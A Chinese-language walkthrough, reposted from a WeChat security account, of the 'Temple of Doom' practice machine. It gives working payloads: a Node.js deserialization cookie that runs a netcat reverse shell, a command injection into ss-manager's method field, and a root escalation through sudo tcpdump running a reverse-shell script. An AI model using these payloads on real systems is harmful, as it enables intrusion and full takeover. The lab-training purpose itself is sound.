一、主机发现
arp-scan -l
靶机ip为192.168.55.155
二、端口扫描、目录枚举、指纹识别
2.1端口扫描
发现靶机的80端口没有打开,打开了666端口
2.2目录枚举
由于靶机没有开启80端口,目录枚举无法进行
2.3指纹识别
nmap 192.168.55.155 -sV -sC -O --version-all
三、反弹shell
3.1利用Node.js漏洞反弹shell
根据nmap指纹识别的结果进行搜索漏洞,发现 49552.py 比较符合,尝试进行利用
searchsploit Node.js
修改 exp
python2 49552.py
成功反弹shell
3.2进入靶机网页、反弹shell
访问一下开放的666端口,发现网页还在建设中,源码也没有其他信息
尝试抓包分析一下网页
发现Cookie被编码,看到以%3D结尾,尝试使用url解码
解码后:eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0=
结尾的=像base64,尝试使用base64解码
{“username”:“Admin”,“csrftoken”:“u32t4o3tb3gg431fs34ggdgchjwnza0l=”,“Expires=”:2018 年 10 月 13 日星期五 00:00:00 GMT“}
检查发现星期五的前面少了”
修改后再编码访问试试
编码后的Cookie
eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOiJGcmlkYXksIDEzIE9jdCAyMDE4IDAwOjAwOjAwIEdNVCJ9
构造payload的详细过程可以查看该文章
利用Node.js反序列化错误进行远程代码执行 |运营安全X
构造的Cookie
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('nc -e /bin/bash 192.168.55.129 6666',(e,out,err)=>{console.log(out);}); }()"}
然后进行编码访问即可反弹shell
四、tcpdump提权
靶机信息收集
uname -a
尝试sudo提权,发现该shell环境不支持
发现该靶机存在两个用户
且fireman用户的目录进不去
查看fireman用户运行的程序
ps aux | grep fireman
发现存在ss-manger程序
补充:
ss-manager是Shadowsocks-manager的缩写
Shadowsocks-libev是用于嵌入式的服务和安全SOCKS5作为代理,ss-manager用于控制多个用户的shadowsocks服务器,并在需要时生成新服务器,就是能创建新服务去利用!
GitHub中找到了payload
在 ss-manager 中执行命令 ·问题 #1734 ·shadowsocks/shadowsocks-libev
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.55.129 4444 ||"}
成功拿到fireman用户的shell
升级为可交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
查看该用户权限
sudo -l
发现可以通过tcpdump进行提权
首先将反弹shell命令输入到tmp文件夹中(tmp文件夹的权限较高)
然后赋予执行权限
然后进行提权
cd /tmp
echo"nc -e /bin/bash 192.168.55.129 1111" > shell
chmod 777 shell
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root
注:
最后一条命令稍微修改了一下
网络接口 (`-i`参数):网站上的命令使用的是`lo`(本地回环)网络接口进行数据包捕获,而修改的命令(sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root)使用的是`eth0`网络接口进行数据包捕获。`eth0`一般是指物理网卡接口,而`lo`是指本地回环接口,用于本地通信,所以需要进行修改一下再使用
提权成功!
原文始发于微信公众号(泷羽Sec-pp502的安全笔记):Temple of Doom靶机精讲
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论